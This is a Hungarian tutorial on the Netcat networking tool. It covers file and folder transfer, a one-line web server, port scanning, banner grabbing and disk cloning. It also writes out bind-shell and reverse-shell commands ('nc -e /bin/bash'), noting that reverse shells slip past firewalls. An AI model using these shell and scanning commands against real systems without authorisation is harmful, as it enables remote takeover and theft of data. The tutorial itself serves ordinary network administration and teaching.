Netcat, a hálózatok svájcibicskája

Share this:

A Netcat számos eszközzel ellentétben nem csak egy dologra jó, hanem képes jóformán az összes hálózati kapcsolattípus megteremtésére. Ez nagyon hatékony hálózati hibakereső eszközzé teszi. Képes TCP és UDP protokollokon keresztül is kommunikálni. A fő célja a hibakeresés, de ezen felül számos célra használható, legyen szó chatelésről, fájlátvitelről, portscannelésről stb. Képes más programok szolgáltatásain dolgozni, de ha az adott feladat megköveteli, betöltheti a szerver és a kliens funkciót is egyszerre.

Netcat

  • a hálózatok svájcibicskájaként is szokták emlegetni, annyira sok célra használható, legyen szó portscannelésről, chatalésről, fájlátvitelről és egyebekről
  • hibakeresés mind TCP és UDP protokollokon keresztül.
  • kiszolgáló és fogadó félként is tud működni
  • használható: portszkennelés, fájlátvitel, Banner Grabbing
  • egyszerhasználatos webservert készíthetünk vele (fájlátvitelre például)
  • proxyt csinálhatunk vele
  • képes más programok szolgálásait emulálni

 

Előfordulhat, hogy nincs telepítve FTP az távoli gépünkön mégis fájlokat szeretnénk mozgatni, akkor hasznos lehet az alábbi funkció

  • használható FTP, vagy más szolgáltatások helyett.
  • Küldő fél (hallgat):
    • nc -v -w 5 1234 -l < szoveg.txt
    • v: verbose mód → az aktuális állapotokat kiírja
    • w: 5 másodpercet vár mielőtt befejezi a fájl átvitelét (elhagyható)
    • 1234: port
    • l: hallgató fél → várja hogy csatlakozzon valaki
    • szoveg.txt: amit küldünk
  • fogadó fél:
    • nc -v -w 2 <kuldo ip-je> 1234 > szoveg.txt
    • w: kapcsolat elvesztése esetén 2 másodpercet vár mielőtt befejezi az átvitelt, nem marad nyitva a kapcsolat és nem kell manuálisan kilépni belőle.
    • szoveg.txt: az átvitel kimenetét ebbe a txt-be írja

 

Az fájlátvitelt kiterjeszthettük mappaátvitelre tar segítségével

  • tar -cvf – <mappanév> | nc -l 1234 → tar betömöríti az adott mappát és átadja a netcatnek
  • nc <ip> 1234 | tar -xvf – → ahogy rácsatlakozunk a szerverre megkapjuk a mappát és átadjuk a tarnak kitömöríteni

 

Távoli shellek

Netcat kapcsolatot létrehozva egy távoli géppel küldhetünk shell parancsokat. Ehhez a távoli gépen a következő parancsot kell kiadnunk: nc -lvp 1234 -e /bin/bash

Ez a beérkező üzeneteket közvetíti a bash-nak és a választ pedig visszaküldi a kliensnek.

A kliens oldalán pedig csak a szerver ip-címét(vagy domain címét), valamint a portot kell megadjuk: nc <ip> 1234

Illetve képes reverse shellt nyitni ami arról szól hogy a távoli gép csatlakozik a mienkre. Ezt azért használják, mert a tűzfalak álltalába a kintről érkező forgalmat jobban korlátozzák mint a kifelé menőt.

 

Következőképp lehet létrehozni egy ilyen kapcsolatot

nc -lvp <port> → várni fog amíg valaki rá nem csatlakozik (távoli gépen)

nc -e /bin/bash <listener ipje><port> → parancsokat átadja a bashnek (mi gépünkön)

Gyorsabb és egyszerűbb technika mint a reverse shelles exploitok.

(chatként is használhatjuk ezt a parancsot, csak akkor ki kell hagyni belőle a „-e /bin/bash” részt.)

Fontos: több linux disztibúciónál nem a gyári rendszer része a netcat-traditional ami tartalmazná a az -e opciót, így váltanunk kell erre a verzióra. Ez Ubuntun a „sudo apt-get install netcat” parancs után a „sudo update-alternatives –config nc” vel történik ahol kiválaszthajtuk a traditional verziót. Minden más amit a példákban használunk az Openbsd rendszer alá készített netcat verzió alatt fut.

 

Egy sorból tudunk vele webservert kreálni

– { echo -e “HTTP/1.1 200 OK\r\n”; cat netcat.html; } | sudo nc -lkp 80

→ böngészőbe localhost kérés kiadása után láthatjuk is a netcat.html tartalmát

– egyszerübben: nc -l 80 < netcat.html

– igaz hogy csak egy kérelmet tud teljesíteni de hálózattesztelésre így is jó

→ shellnél, illetve webservernél hasznos lehet a -k flag, mert nem fogja lezárni a kapcsolatot a klienssel együtt.

 

Port scannelés

  • más eszköz mint pl az NMAP jobb erre de nc-vel is el lehet végezni:

nc -vz 192.168.0.1 10-100 parancs annyit jelent hogy az alábbi lokális ip-n végigfutja 10-100 ig a portokat. Érdemes rátenni a -z flaget ami kifejezetten scannelésre van és nem kezd el infót gyűjteni a portokról, nagyban meggyorsítva a folyamatot.

 

Banner grabing

  • hasznos infókat adhat a célállomásról (op rendszer, futó szolgáltatások, apache verzió)
    • Pl lekérdezhetünk infókat webszerverről: nc www.google.com 80
      • Ez a parancs még nem elég, ez után kell nekünk egy ilyen: HTTP/1.1 200 például és ekkor kapunk infókat a webszerverrő
    • Vagy pl ssh verzióról: nc -v <ip> 22 ami akkor lehet hasznos ha a hálózat gépeire való belépés nélkül szeretnénk infót megtudni, időspórolás céljából.

 

Lemezmásolás

Ha éppen Linuxot telepítettünk, és ugyanezt végre szeretnénk hajtani egy másik gépen is, akkor lemásolhatjuk a teljes lemezt. Ehhez a telepítendő gépen, telepítő lemezen el kell indítanunk egy live verziót. A másolandó gépen a következő parancsot kell elindítanunk amennyiben a másolandó lemez az sda:

dd if=/dev/sda | nc -l 1234

Míg a live cd-n a következő parancsot kell kiadni:

nc -n <ip> 1234 | dd of=/dev/sda

Other Posts